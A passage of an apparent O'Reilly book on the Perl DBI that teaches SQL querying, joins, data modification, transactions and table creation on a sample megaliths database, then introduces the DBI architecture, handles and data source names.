WHERE location IN ( 'Western Isles', 'Fife' )

will compare each member of the set using the equality operator against the specified column. Therefore, in this example, rows with a location column value of either ``Western Isles'' or ``Fife'' will be returned.

LIKE

The LIKE operator allows limited wildcard matching of strings against columns and/or literal values. For example, the query:

SELECT name, description
FROM megaliths
WHERE description LIKE '%Largest%'

will return the name and description columns where the description column contains the string ``Largest'' at any position in the string.

Wildcard matches for characters in the string may be specified by using either the percent ( % ) character for multiple-character wildcarding or an underscore ( _ ) for single-character matching.[25]

[25]Some databases use other names instead of LIKE, such as MATCHES or CONTAINS, and may use different wildcard characters such as * or ?.

[25]Some databases use other names instead of LIKE, such as MATCHES or CONTAINS, and may use different wildcard characters such as * or ?.

Over time, the megalithic database might expand and contain information on thousands of sites in the country. Therefore, to quickly locate records, we might need to narrow the search criteria by specifying other condition clauses that must be met for a record to be returned. For example, if you wished to find information on all stone circles in Wiltshire, doing a query simply for all sites in ``Wiltshire'' could return hundreds of records, which you would have to wade through by hand. We can narrow this search by specifying as an extra condition that the mapref column must also begin with the string SU 123:

SELECT name, location
FROM megaliths
WHERE location LIKE '%Wiltshire%'
AND mapref LIKE 'SU 123%'

In this example, the second condition is simply added to the end of the list of conditions that must be met. The two conditions are joined together by a logical operator, AND. This statement now reads "Give me the name and location of all megalithic sites with a location of Wiltshire that are in the map region SU 123," which would return the name and location fields for the "Stonehenge" row, but reject the "Avebury" row.

Thus, conditions can be joined together into multiple condition lists, linked by logical boolean operators that control how the truth of the condition is evaluated.

The following table describes the boolean (or logical) operators defined by SQL that can be used to chain your condition clauses together.

Operator | Function
AND | Returns the logical AND of the two clauses on either side of the keyword. The following truth table can be used to evaluate whether the combined clause is true or not.
 |  | TRUE | FALSE | NULL
 | TRUE | true | false | null
 | FALSE | false | false | false
 | NULL | null | false | null
OR | Returns the logical OR of the two clauses on either side of the keyword. The following truth table can be used to evaluate whether the combined clause is true or not.
 |  | TRUE | FALSE | NULL
 | TRUE | true | true | true
 | FALSE | true | false | null
 | NULL | true | null | null
NOT | Negates the logical value of the following expression. The following truth table illustrates this in operation.
 |  | TRUE | FALSE | NULL
 |  | false | true | null

The truth of the overall condition is determined by combining the truth of each element separately using the AND, OR, and NOT operators.

It is now possible to calculate the effects of multiple condition clauses in a statement. For example, the following condition clauses:

WHERE location LIKE '%Wiltshire%'
AND mapref LIKE 'SU 123%'

evaluate in the following way for this row:

+----------------------------------------------------------+
| name          | mapref     | location                    |
+----------------------------------------------------------+
| Avebury       | SU 103 700 | Avebury, Wiltshire, England |
+----------------------------------------------------------+

location LIKE '%Wiltshire%'     => TRUE
mapref LIKE 'SU 123%'           => FALSE

TRUE AND FALSE => FALSE

thereby returning a false value for that row, causing it to be rejected by the query. However, the following row:

+---------------------------------------------------------------+
| name         | mapref     | location                          |
+---------------------------------------------------------------+
| Stonehenge   | SU 123 400 | Near Amesbury, Wiltshire, England |
+---------------------------------------------------------------+

evaluates as:

location LIKE '%Wiltshire%'     => TRUE
mapref LIKE 'SU 123%'           => TRUE

TRUE AND TRUE => TRUE

which ensures that the row is returned by the query.

When combining different logical operators, it is important to consider their precedence . The precedence (or priority) of the operators determines which gets combined first. The SQL standard specifies that NOT has the highest precedence, followed by AND, and then OR. Parentheses can be used around groups of operators to change their precedence.

For example, you might wish to select all the megalithic sites in either ``Wiltshire'' or ``Fife'' for which the description of the site contains the word ``awe-inspiring.''

This query could be wrongly expressed as:

SELECT name, location
FROM megaliths
WHERE location LIKE '%Wiltshire%' OR location LIKE '%Fife%'
AND description LIKE '%awe-inspiring%'

While this query looks correct at first, it does not take into account the order in which the condition clauses are combined. It would, in fact, select the awe-inspiring sites in Fife, but it would also select all the sites in Wiltshire regardless of their type.

This happens because the AND operator has a higher precedence than the OR operator and so is evaluated first. Therefore, our SQL statement evaluates by AND combining location LIKE %Fife% and description LIKE %awe-inspiring%. It then OR combines the result of the AND operation with location LIKE %Wiltshire%. This isn't quite what we had in mind.

This query can be more correctly written by using parentheses to logically group operators within the statement.

For example:

SELECT name, location
FROM megaliths
WHERE ( location LIKE '%Wiltshire%' OR location LIKE '%Fife%' )
AND description LIKE '%awe-inspiring%'

This changes the way in which the condition clauses are evaluated by evaluating the grouped clauses into a single truth value for the entire group. This is then used instead of truth values for each individual clause within the group.

Finally, there is another even more complex way of specifying condition clauses that is used quite frequently. This technique is to supply the values with which we are doing a comparison from a subquery.[26] For example:

[26]Support for this functionality is not necessarily present in all database systems supported by the DBI and its drivers.

SELECT name, description
FROM megaliths
WHERE name IN
    ( SELECT tourist_sitename
      FROM wiltshire_tourist_sites )

If we knew in advance that the subquery would return only a single row of information, then the = operator could be used instead of IN.

3.3.3. Queries over Multiple Tables

The previous section covered the structure of SQL statements in general, and how SQL may be used to query data from single tables in the database. However, from the discussion on relational database theory earlier in this chapter, you should remember that the power and flexibility of relational database design lies in the ability to join tables together -- that is, to link disparate records of data that are held in separate tables to reduce data duplication. This linking of records is a key part of working with relational databases.

To illustrate this concept, it is time to reintroduce the other tables we shall be using in our examples, namely the media table and site_types table.

The media table contains information on where multimedia clips for given sites can be located, allowing an external application to view or listen to these clips while the user is reading the textual information on the site stored in the megaliths table.

Similarly, the site_types table contains a lookup table of the different categorizations of megalithic sites described within the database.

To specify a SELECT statement from two or more tables in the database, we simply add the table names after the FROM keyword. Therefore, a sample query to fetch all the rows in two of the tables should theoretically look something like:

SELECT name, description, location, url, content_type
FROM megaliths, media

However, the output from this query will look somewhat scrambled. For each and every row in the first table, all the rows in the second table will be selected![27] This means that the media records for ``Lundin Links'' may be returned at the same time as the site information for ``Avebury.''

[27]This is known as a "Cartesian Product." If there were 100 rows in each, you'd get 10,000 rows returned. If there were 1,000,000 rows in each, you'd get 1,000,000,000,000 rows returned. To avoid this, you should ensure that if you have n tables, you have at least n - 1 join conditions.

How do you make sure that the values in the fields from the second table related to the values from the first -- that is, that the media clips for ``Stonehenge'' are only returned with the ``Stonehenge'' site information?

In our megaliths table, we have already defined a column called id that contains a unique identifier for each and every row stored within the table. Similarly, the media table has a column called id that performs the same purpose. Furthermore, the media table also contains a column called megaliths_id. When a row is inserted into the megaliths or media tables, a unique identifier is inserted into the id columns. Also, when a row is inserted into the media table, the megaliths_id column is populated with the unique identifier of the megalithic site to which the media clip relates.

This relationship of a link field is generally termed a primary key and foreign key relationship. The primary key is the unique value stored within the ``master'' table. The foreign key is that same value stored within multiple rows of the other ``detail'' table.

We can now write a query to fetch the appropriate information back from the database by joining the two tables on their related fields. This ensures that the media clips are associated with the correct site:

SELECT name, description, url, content_type
FROM megaliths, media
WHERE megaliths.id = megaliths_id

This illustrates another aspect of SQL conditions: instead of testing arbitrary values against columns in a table, it is possible to test against the value of another column. In the above case, we test to see if the primary and foreign keys of the two tables match, and, if so, the aggregated row created from the columns of both tables is returned.

Also note how we qualified the id field name in the condition clause by prepending it with the table name and a dot. Without that, the database would not have known if we were referring to the id field in the megaliths table or the media table and would fail with an error.

Similarly, if we wished to select the id fields of both tables, the following statement would simply confuse the database, and we'd get another error:

SELECT id, id, megaliths_id
FROM megaliths, media
WHERE id = megaliths_id

Therefore, it is good practice to explicitly specify the table name that the field belongs to, in cases where it may be ambiguous. For example:

SELECT megaliths.name, megaliths.description,
       media.url, media.content_type
FROM megaliths, media
WHERE megaliths.id = media.megaliths_id

Of course, the downside to this process is that it takes forever to type. A saner alternative is to alias the table names. To do this, simply add the alias after its name in the FROM clause. For example:

SELECT mega.name, mega.description, med.url, med.content_type
FROM megaliths mega, media med
WHERE mega.id = med.megaliths_id

It is more common just to use the initial character of the table name provided the aliases are unique.

This theory of table joins is extensible to any number of tables.[28] In fact, it is not uncommon for some tables within a database to contain nothing but columns containing foreign keys that can be used to make multi-table joins more effective. The main point to remember here is that all tables involved in the query must be joined to another table on some column. Otherwise, a large quantity of very strange results may be returned from the database!

[28]In practice, databases that support joins often have some upper limit on the number of tables.

For example, fetching both the media associated with a site and the site type information can be expressed with the following query:

SELECT mega.name, mega.description, st.site_type,
       med.url, med.description
FROM megaliths mega, media med, site_types st
WHERE mega.id = med.megaliths_id
AND mega.site_type_id = st.id

Another type of join also possible with SQL is the outer join . In addition to the results returned by a simple join, an outer join also returns the rows from one table for which no rows from the other table satisfy the join condition. This is achieved by returning NULL values for all rows in the second table that have no matching values in the first table.

For example, we might wish to retrieve information on all of the sites located within Wiltshire and, if any exist, the URLs of any multimedia clips associated with them. Using a simple join such as:

SELECT mega.name, mega.location, med.url
FROM megaliths mega, media med
WHERE mega.id = med.megaliths_id
AND mega.location LIKE '%Wiltshire%'

would return only those sites in Wiltshire that had media clips associated with them. It would exclude those sites that had no media clips. An outer join is the way to solve this problem.

The official standard way to express an outer join is by using the phrase LEFT OUTER JOIN or RIGHT OUTER JOIN between the tables to be joined, instead of a comma, and adding an ON condition_expression clause.[29]

[29]Many database systems either don't fully support outer joins or use different syntax for it. Oracle 7 outer joins, for example, look just like inner joins but have the three characters (+) appended to one side of the join condition.

For example, the standard query to retrieve the information we desired can be written as:

SELECT mega.name, mega.location, med.url
FROM megaliths mega
     LEFT OUTER JOIN media med ON mega.id = med.megaliths_id
WHERE mega.location LIKE '%Wiltshire%'

In this example, we have made a left outer join on the id and megaliths_id columns because for any sites without media clips, there are no corresponding records in the media table. The left outer join will ensure that even if no media clip records exist, at least the name and location of each and every site in Wiltshire will be returned. A right outer join in this query would have returned the values where no entries in the megaliths table existed.

Finally, it is worth mentioning some ways to make efficient table joins. In our examples, we added additional columns to our tables to make a join between them. We could have simply added a column to the media table that contained the name of the megalithic site.

There are a few good reasons why we didn't do that:

  1. If the name of the megalithic site was updated for some reason -- for example, if a spelling mistake needed correcting -- the name contained within the media table would be out of date and incorrect. This would break the join between the two tables for that particular row.

  2. Integer keys use much less space than strings when building indexes on a table. Less space means more index entries per block of disk space, and therefore fewer disk reads. The smaller index and fewer disk reads make up for the slightly increased size of the master data table, and usually give you both speed and space gains.

  3. It is slower to test strings than to test numbers, especially integers. As such, in a well-designed database, integers are often used for primary and foreign keys because they are faster to test against with comparison operators. A string, on the other hand, requires testing of every character within each string, which can be time-consuming.

Therefore, to help maximize speed on queries, you can design your database to perform joins using integer columns. It is also often worth building an index on the foreign key columns of the ``detail'' tables, if your database supports such functionality.

3.3.4. Grouping and Ordering Data

Often you'll desire a little more control over how your selected data is retrieved. The two most common ways of organizing your data are to order the retrieved rows by one or more columns, or to group the retrieved rows and apply functions to the groups instead of to individual rows.

Perl is well-suited to these tasks within your program, but performing ordering and grouping via SQL will offload the task onto the database server and also will save you writing, or using, potentially suboptimal techniques for organizing the data. Therefore, generally, use SQL rather than your own application-level code.

3.3.4.1. Ordering data

Ordering the data retrieved by a SELECT statement is easy and can be achieved simply by an ORDER BY clause. This clause is always found at the end of your queries, after all the join conditions have been specified.

The ORDER BY clause is specified as a comma-separated list of columns that should be used to order the data. For example, an ORDER BY clause of:

ORDER BY name, location

would order the rows by name and, if the names of the sites are identical, the location column would be used as a secondary ordering. You can change the direction of the ordering from the default ``ascending'' order (which goes from A to Z) to a ``descending'' order by appending the DESC keyword to any field names in the ORDER BY clause.

3.3.4.2. Grouping data

The ability to group items of data is very useful when attempting to make summarized reports. SQL features a clause called GROUP BY that allows you to group rows that share a common set of values and apply group functions to them.

A good example of this operation is where you want to total the values contained within a column in a table. In this instance, you would use the sum( ) grouping function in the following way to calculate the total value of orders taken on a given date:

SELECT order_date, sum( net ), sum( vat ), sum( total )
FROM sales
GROUP BY order_date

As with ORDER BY, groupings can be chained together in a comma-separated list to create complex subgroupings of columns.

Previous | Home | Next
3.2. Datatypes and NULL Values | Book Index | 3.4. Modifying Data Within Tables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Modifying Data Within Tables (Programming the Perl DBI)

 Programming the Perl DBISearch this book

3.4. Modifying Data Within Tables

Read-only databases (that is, databases that only allow you to SELECT data from them) are very useful. Data warehouses are typically massive read-only databases populated with archived data mangled into a form suitable for reporting. However, in the cut-and-thrust world of transaction-processing databases, the ability to modify data within the database quickly and efficiently is of paramount importance.

There are several core operations that comprise the broader definition of data modification, namely:

  • Inserting new data into the database

  • Deleting data from the database

  • Updating, or modifying, existing data within the database

Each of these operations falls into the grouping of Data Manipulation Language commands, or DMLs, alongside SELECT.

We shall discuss each of these tasks in turn and apply the theory to our example database.

3.4.1. Inserting Data

Before a database can be really of any use, data must be inserted into it by some means, either by manual data entry or with an automated batch loading program. The action of inserting data only applies to cases in which you wish to load a completely new record of information into the database. If the record already exists and merely requires modification of a column value, the update operation should be used instead.

Data inserts in the relational database model are done on a row-by-row basis: each record or item of information that you load into the database corresponds to a brand-new row within a given existing table. As each inserted record corresponds to a new row in one table, multitable inserts are not possible.[30]

[30]Well, this is not strictly true these days, as database servers get smarter. Oracle, for example, allows inserts into equi-join views and also supports "INSTEAD OF" triggers that make just about anything possible.

The SQL INSERT keyword provides a simple mechanism for inserting new rows of data into the database. For example, assuming the megaliths table is already present in the database and and contains the six columns shown earlier in Figure 3-1, a single row of data can be inserted into it using the following SQL statement:

INSERT INTO megaliths VALUES ( 0, 'Callanish I',
                               '"Stonehenge of the North"',
                               'Western Isles',
                               'NB 213 330', 1 )

If you then SELECT back all the rows in the table, you should be able to see the row that has just been inserted.

Just as the SELECT statement could specify which columns from a table should be returned in the query, it is also possible (and good practice) to specify into which columns of the table the values should be inserted. The unspecified columns will take the default value, typically NULL. For example, if you wished to specify only the id and name columns of the table, allowing description and location to be NULL, the SQL statement would be:

INSERT INTO megaliths ( id, name ) VALUES ( 0, 'Callanish I' )

There must be an exact mapping between the number of columns and column values specified in the SQL statement. It is also essential to make sure that the datatypes of the supplied values and the corresponding columns match.

3.4.1.1. Using INSERT for data transfers

One of the more sneaky uses for the INSERT keyword is to transfer data from one table or column to another in one easy operation. This seems to fly in the face of our previous assertion that only one row can be inserted with each INSERT statement, but in fact, follows the rules correctly (in an underhand manner).

For example, if we wanted to make a quick copy of the megaliths table into a new table called megaliths_copy, the following SQL statement can be used:

INSERT INTO megaliths_copy
    SELECT *
    FROM megaliths

This process inserts each row returned from the SELECT statement into the new table, row by row, until an exact copy is created. This feature of INSERT is extremely useful for making quick copies of tables if you need to do some destructive maintenance work on the original, such as pruning redundant data. For this SQL to work, the original table and destination table must have an identical structure.

You can further refine this operation by specifying conditions that the rows to be transferred must meet before being inserted. For example, to copy across only the rows of data for megaliths located in Wiltshire:

INSERT INTO megaliths_copy
    SELECT *
    FROM megaliths
    WHERE location LIKE '%Wiltshire%'

Furthermore, you can make extracts of data from tables into new tables by explicitly specifying the targeted columns in the new table. This is useful when building large denormalized tables for use within a data warehouse. Therefore, if we had a table called megalocations that contained two columns called name and location, we could populate this new table from the megaliths table in the following way:

INSERT INTO megalocations
    SELECT name, location
    FROM megaliths

Or, we can even select data from multiple tables for inserting. A denormalized table containing the rows coalesced from the megaliths and media tables might contain two columns, name and url. Populating this table with an INSERT statement is easy:

INSERT INTO megamedia
    SELECT name, url
    FROM megaliths, media
    WHERE megaliths.id = media.megaliths_id

However, in general, table population via INSERT statements is usually performed by batch-loading programs that generate suitable SQL statements and execute them within the database, such as Oracle's SQL*Loader. Of course, Perl is a good example of a programming language that makes loading data from a file remarkably easy via the DBI.

3.4.2. Deleting Data

Now that you have spent copious amounts of time loading data into your tables to play with, the next thing you'll want to do is tidy it up and remove redundant or unwanted data.

The DELETE keyword defined within SQL is exactly what you are looking for, providing a simple syntax for permanently removing rows of data from tables. As with the INSERT statement, deleting rows applies only to a single table at a time; therefore, if you want to remove rows that are referred to by records in other tables, you should first delete those associated foreign key records from the secondary tables. This preserves the referential integrity of your database and is known as delete cascading.[31] Some databases support cascading delete mechanisms that automate these extra deletes.

[31]An analogy for this process is removing a file on a Unix system that has several symbolic links associated with it. It is good housekeeping to remove the stale symbolic links when the target file has been removed. This also applies to Windows and Macintosh systems with shortcuts to documents.

For example, a cascading delete applied to rows in the megaliths table would also need to remove the appropriate rows in the media table where the following join condition is true:

megaliths.id = media.megaliths_id

However, DELETE statements do not have the same "single row at a time" restriction that INSERT statements suffer from. DELETE can purge a table entirely in one statement. For example, to remove all the rows within the megaliths table, we could simply write:

DELETE FROM megaliths

Of course, we may not wish to remove all the rows from a table, but only certain rows. This can be done in a familiar manner by specifying a list of conditions that the data within a row must meet for it to be removed. Therefore, if we wanted to delete all the rows of data within the megaliths table that contain sites located in ``Wiltshire,'' then the following statement would work nicely:

DELETE FROM megaliths
WHERE location LIKE '%Wiltshire%'

To remove all the rows relating to stone circles, we could narrow the criterion that a row must meet by saying that the type of the site must be equal to ``Stone Circle.'' The tighter query would read:

DELETE FROM megaliths
WHERE location LIKE '%Wiltshire%'
AND site_type_id IN (SELECT id FROM site_types
                     WHERE site_type = 'Stone Circle')

It should be noted that deleting all the rows from a table does not actually remove the table from the database. The table will be left in place, but it will have no rows in it.[32]

[32]Some databases feature a faster and more efficient way of removing all the rows from a table with the TRUNCATE TABLE keyword. But beware! In some databases, that keyword removes all indices as well.

A more powerful way to determine which rows of data to delete can be expressed by using a subquery to return the target rows. A good example of this sort of behavior is deleting the foreign keys from a table when the primary keys are being deleted. This can be broken up into two separate DELETE statements, the first removing the foreign key rows, the second removing the primary key rows. The following examples remove the rows relating to megalithic sites in ``Wiltshire'' from both the media and megaliths tables:

DELETE FROM media
WHERE megaliths_id IN (
    SELECT id
    FROM megaliths
    WHERE location LIKE '%Wiltshire%'
  )

DELETE FROM megaliths
WHERE location LIKE '%Wiltshire%'

To sum up, removing data from tables is made extremely simple (perhaps too simple!) by use of the DELETE keyword. Later in this chapter, we'll discuss the database's perspective of the deletion process in more detail, including the all-important possibility of undoing deletions that go wrong.

3.4.3. Updating Data

The final way in which modifications can be performed on data stored within tables in a database is to make in-place modifications of existing data by updating the values of particular columns in particular rows. With an UPDATE statement, rows are neither inserted nor deleted, and the structure of the table itself is not altered.

UPDATE statements are extremely powerful, in that it is possible to update multiple rows of data in one statement. If desired, the new values may be supplied by the returned values from a SELECT statement following the syntax of the INSERT command.

The most simple and useful UPDATE is to update a column of a single row within a table to a new value. For example, if you wanted to update the location of the "Avebury" row within the megaliths table, the following SQL statement would work:

UPDATE megaliths
SET location = 'Near Devizes, Wiltshire'
WHERE name = 'Avebury'

You should notice the condition clause specified in this statement. If the statement did not check for the exact name of the site, every row within the table would have had the UPDATE statement performed against it, causing a potentially disastrous data corruption. Condition clauses may be specified in exactly the same way as used in other SQL commands such as DELETE and SELECT.

UPDATE statements may also update more than one column in a single statement, by simply listing the columns we wish to update in a comma-separated list. For example, to update both the name and description fields within the megaliths table, you can write the following SQL statement:

UPDATE megaliths
SET location = 'Callanish, Isle of Lewis',
    description = 'Complex site shaped as a buckled Celtic cross'
WHERE name = 'Callanish I'

In some database systems, it is also possible to update multiple columns simultaneously by using a subquery to return a list of values from another table. Those values are then used as the new values for the specified columns. For example, if we wanted to synchronize our megalithic database with the Wiltshire Tourist Board Database to use the same names and locations, we could use the following SQL statement:

UPDATE megaliths
SET ( name, location ) =
    ( SELECT tourist_site_name, tourist_site_location
      FROM tourist_sites
      WHERE tourist_site_name LIKE '%Avebury%'
      AND tourist_site_type = 'Stone Circle' )
WHERE name = 'Avebury'

This statement would update the name and location fields within the megaliths table with values returned by a query running against another table. An important note about this technique is that the subquery must return only a single row of data, otherwise the UPDATE will fail with an error.

3.4.4. Committing and Rolling Back Modifications

So, what happens if you make a horrible mistake when you are modifying the data within your database? Is the only course of action to resign? Fear not! Some database engines have a capability known as transaction rollback that will save not only your neck, but your data as well.

The principle of rollback is quite a simple one. For each modification to rows of data within the database, a copy of the row prior to modification is written into a log that records all the modifications made. Once you have decided that these changes are indeed correct, you can opt to commit the changes to the database. If the committed changes are actually wrong, then you're in trouble: you can clear out your desk and dust off your resume.

However, if by some sheer luck you check the modified rows and see that they are wrong before you commit the changes, you can rollback the modifications you have made, returning the rows to the values they held before you started modifying them. Your job is safe.

Even better, the changes you made within the transaction were not visible to anyone else looking at the database at that time. So no one need know of your mistake, and your reputation is safe.

Most databases automatically commit data upon disconnection from the database unless a rollback is explicitly issued. Therefore, if the software that is being run is not performing suitable error checking on the modifications it is making, it may disconnect and inadvertently commit wrong data to the database. There is a moral in this -- always check for errors!

Some database systems don't have a feature as sophisticated as rollback or undo. In these cases, it is even more important that before unleashing dramatic data manipulation SQL on your database, you make a backup. Backups are always a good idea, even in databases that do support transactions.

Previous | Home | Next
3.3. Querying Data | Book Index | 3.5. Creating and Destroying Tables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating and Destroying Tables (Programming the Perl DBI)

 Programming the Perl DBISearch this book

3.5. Creating and Destroying Tables

The previous section discusses the operations SQL can perform to manipulate data stored as rows within tables in the database. However, there is a separate set of statements that covers the manipulation of the tables (and other objects) within the database themselves. These statements are known as Data Definition Language commands, or DDLs.

The operations that can be performed on tables are fairly basic, since they are quite far-reaching in their consequences. The two simplest operations available are:

Creating a new table

This is done via the CREATE TABLE command, the syntax of which varies depending on the database platform being used. However, this statement generally specifies the name of the table to be created and the definition of all the columns of the table (both names and datatypes).

For example, the SQL we used to create the megaliths table within our database was:

CREATE TABLE megaliths (
    id              INTEGER NOT NULL,
    name            VARCHAR(64),
    location        VARCHAR(64),
    description     VARCHAR(256),
    site_type_id    INTEGER,
    mapref          VARCHAR(16)
)

CREATE TABLE will create a brand-new table with the given definition, which will be completely empty until you insert rows into it.

Deleting, or dropping, an existing table

This action is as drastic as data modification can get. The actual table structure within the database is completely removed, as are any rows of data currently stored within that table. This operation cannot usually be rolled back from. Once the fatal statement is typed, the specified table has gone forever (unless you have made a backup).

The syntax for dropping tables is fairly standard across databases and is extremely straightforward.[33] To completely get rid of our megaliths table, we can issue the SQL statement of:

[33]Something so deadly should have a far more complicated syntax!

DROP TABLE megaliths

There are other ways in which table definitions can be manipulated, and also other database structures that can be created (such as views and indexes). But these are beyond the scope of this book. You should consult your database documentation for more information.

Previous | Home | Next
3.4. Modifying Data Within Tables | Book Index | 4. Programming with the DBI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming with the DBI (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 4. Programming with the DBI

Contents:

DBI Architecture
Handles
Data Source Names
Connection and Disconnection
Error Handling
Utility Methods and Functions

In this chapter, we'll discuss in detail the actual programming interface defined by the DBI module. We'll start with the very architecture of DBI, continue with explaining how to use the handles that DBI provides to interact with databases, then cover simple tasks such as connecting and disconnecting from databases. Finally, we'll discuss the important topic of error handling and describe some of the DBI's utility methods and functions. Future chapters will discuss how to manipulate data within your databases, as well as other advanced functionality.

4.1. DBI Architecture

The DBI architecture is split into two main groups of software: the DBI itself, and the drivers. The DBI defines the actual DBI programming interface, routes method calls to the appropriate drivers, and provides various support services to them. Specific drivers are implemented for each different type of database and actually perform the operations on the databases. Figure 4-1 illustrates this architecture.

Figure 4-1. The DBI architecture

Therefore, if you are authoring software using the DBI programming interface, the method you use is defined within the DBI module. From there, the DBI module works out which driver should handle the execution of the method and passes the method to the appropriate driver for actual execution. This is more obvious when you recognize that the DBI module does not perform any database work itself, nor does it even know about any types of databases whatsoever. Figure 4-2 shows the flow of data from a Perl script through to the database.

Figure 4-2. Data flow through DBI

Under this architecture, it is relatively straightforward to implement a driver for any type of database. All that is required is to implement the methods defined in the DBI specification,[34] as supported by the DBI module, in a way that is meaningful for that database. The data returned from this module is passed back into the DBI module, and from there it is returned to the Perl program. All the information that passes between the DBI and its drivers is standard Perl datatypes, thereby preserving the isolation of the DBI module from any knowledge of databases.

[34]Few methods actually need to be implemented since the DBI provides suitable defaults for most of them. The DBI::DBD module contains documentation for any intrepid driver writers.

The separation of the drivers from the DBI itself makes the DBI a powerful programming interface that can be extended to support almost any database available today. Drivers currently exist for many popular databases including Oracle, Informix, mSQL, MySQL, Ingres, Sybase, DB2, Empress, SearchServer, and PostgreSQL. There are even drivers for XBase and CSV files.

These drivers can be used interchangeably with little modification to your programs. Couple this database-level portability with the portability of Perl scripts across multiple operating systems, and you truly have a rapid application development tool worthy of notice.

Drivers are also called database drivers, or DBDs, after the namespace in which they are declared. For example, Oracle uses DBD::Oracle, Informix uses DBD::Informix, and so on. A useful tip in remembering the DBI architecture is that DBI can stand for DataBase Independent and DBD can stand for DataBase Dependent.

Because DBI uses Perl's object-orientation features, it is extremely simple to initialize DBI for use within your programs. This can be achieved by adding the line:

use DBI;

to the top of your programs. This line locates and loads the core DBI module. Individual database driver modules are loaded as required, and should generally not be explicitly loaded.

Previous | Home | Next
3.5. Creating and Destroying Tables | Book Index | 4.2. Handles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handles (Programming the Perl DBI)

 Programming the Perl DBISearch this book

4.2. Handles

The DBI defines three main types of objects that you may use to interact with databases. These objects are known as handles. There are handles for drivers, which the DBI uses to create handles for database connections, which, in turn, can be used to create handles for individual database commands, known as statements. Figure 4-1 illustrates the overall structure of the way in which handles are related, and their meanings are described in the following sections.

Figure 4-1. DBI handles

4.2.1. Driver Handles

Driver handles represent loaded drivers and are created when the driver is loaded and initialized by the DBI. There is exactly one driver handle per loaded driver. Initially, the driver handle is the only contact the DBI has with the driver, and at this stage, no contact has been made with any database through that driver.

The only two significant methods available through the driver handle are data_sources() , to enumerate what can be connected to, and connect() , to actually make a connection. These methods are more commonly invoked as DBI class methods, however, which we will discuss in more detail later in this chapter.

Since a driver handle completely encapsulates a driver, there's no reason why multiple drivers can't be simultaneously loaded. This is part of what makes the DBI such a powerful interface.

For example, if a programmer is tasked with the job of transferring data from an Oracle database to an Informix database, it is possible to write a single DBI program that connects simultaneously to both databases and simply passes the data backwards and forwards as needed. In this case, two driver handles would be created, one for Oracle and one for Informix. No problems arise from this situation, since each driver handle is a completely separate Perl object.

Within the DBI specification, a driver handle is usually referred to as $drh .

Driver handles should not normally be referenced within your programs. The actual instantiation of driver handles happens ``under the hood'' of DBI, typically when DBI->connect() is called.

4.2.2. Database Handles

Database handles are the first step towards actually doing work with the database, in that they encapsulate a single connection to a particular database. Prior to executing SQL statements within a database, we must actually connect to the database. This is usually achieved through the DBI's connect() method:

$dbh = DBI->connect( $data_source, ... );

The majority of databases nowadays tend to operate in a multiuser mode, allowing many simultaneous connections, and database handles are designed accordingly. An example might be if you wanted to write a stock-monitoring program that simultaneously monitored data in tables within different user accounts in the database. A DBI script could make multiple connections to the database, one for each user account, and execute SQL statements on each. Database handles are completely encapsulated objects, meaning that transactions from one database handle cannot ``cross-over'' or ``leak'' into another.

Database handles are children of their corresponding driver handle, which supports the notion that we could also make multiple simultaneous connections to multiple database types, as well as multiple simultaneous connections to databases of the same type. For example, a more complicated DBI script could make two connections to each of an Oracle and an Informix database to perform the above-mentioned monitoring. Figure 4-1, shown earlier, illustrates the capability of having multiple database handles connecting through a driver handle to an Oracle database.

Keep in mind that had the monitoring program been written in C, two copies of code would be required, one for Oracle's programming interface and one for Informix's. DBI levels the playing field.

Within the DBI specification and sample code, database handles are usually referred to as $dbh.

4.2.3. Statement Handles

Statement handles are the final type of object that DBI defines for database interaction and manipulation. These handles actually encapsulate individual SQL statements to be executed within the database.

Statement handles are children of their corresponding database handle. Since statement handles are objects in their own right, data within one statement is protected from tampering or modification by other statement handles.

For a given database handle, there is no practical limit to the number of statement handles that can be created and executed.[35] Multiple statements can be created and executed within one script, and the data can be processed as it returns. A good example of this might be a data-mining robot that connects to a database, then executes a large number of queries that return all sorts of different types of information. Instead of attempting to write convoluted SQL to correlate the information within the database, the Perl script fetches all the data being returned from the many statements and performs analysis there, using the fully featured text and data manipulation routines that Perl has to offer.

[35]In reality, the number of concurrent statement handles is dependent on the underlying database. For information on how many concurrent statement handles your database can support, see Appendix B, "Driver and Database Characteristics ".

Within the DBI specification and sample code, statement handles are generally referred to as $sth.

Previous | Home | Next
4. Programming with the DBI | Book Index | 4.3. Data Source Names
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Source Names (Programming the Perl DBI)

 Programming the Perl DBISearch this book

4.3. Data Source Names

When connecting to a database via the DBI, you need to tell the DBI where to find the database to connect to. For example, the database driver might require a database name, or a physical machine name upon which the database resides. This information is termed a data source name, and of all the aspects of DBI, this is possibly the most difficult to standardize due to the sheer number and diversity of connection syntaxes.

The DBI requires the data source name to start with the characters dbi:, much like a URL begins with http:, and then the name of the driver, followed by another colon -- for example, dbi:Oracle:. Any text that follows is passed to the driver's own connect() method to interpret as it sees fit. Most drivers expect either a simple database name or, more often, a set of one or more name/value pairs separated with semicolons. Some common examples are listed later in this section.

For example, mSQL requires the hostname, database name, and potentially, the TCP/IP port number for connecting to the database server. However, Oracle may require only a single word that is an alias to a more complicated connection identifier that is stored in separate Oracle configuration files.

DBI offers two useful methods for querying which data sources are available to you for each driver you have installed on your system.

Firstly, you can get a list of all the available drivers installed on your machine by using the DBI->available_drivers() method. This returns a list with each element containing the data source prefix of an installed driver,[36] such as dbi:Informix:.

[36]The actual definition of ``installed driver'' is a little loose. The DBI simply searches the directories in @INC looking for any DBD subdirectories that contain .pm files. Those are assumed to be drivers. It does not verify that the modules are completely and correctly installed. In practice, this process is fast and works well.

Secondly, you can invoke the DBI->data_sources() method against one or more of the drivers returned by the DBI->available_drivers() method to enumerate which data sources are known to the driver.[37] Calling the data_sources() method will actually load the specified driver and validate that it is completely and correctly installed. Because DBI dies if it can't load and initialize a driver, this method should be called inside an eval{} block if you need to catch that error.

[37]Note that not necessarily every data source that is reachable via the driver is returned. Similarly, the inclusion of a data source does not imply that it is actually currently available for connection.

The following script lists all the drivers and data sources for each driver on your system:

#!/usr/bin/perl -w
#
# ch04/listdsns: Enumerates all data sources and all installed drivers
#
use DBI;

### Probe DBI for the installed drivers
my @drivers = DBI->available_drivers();

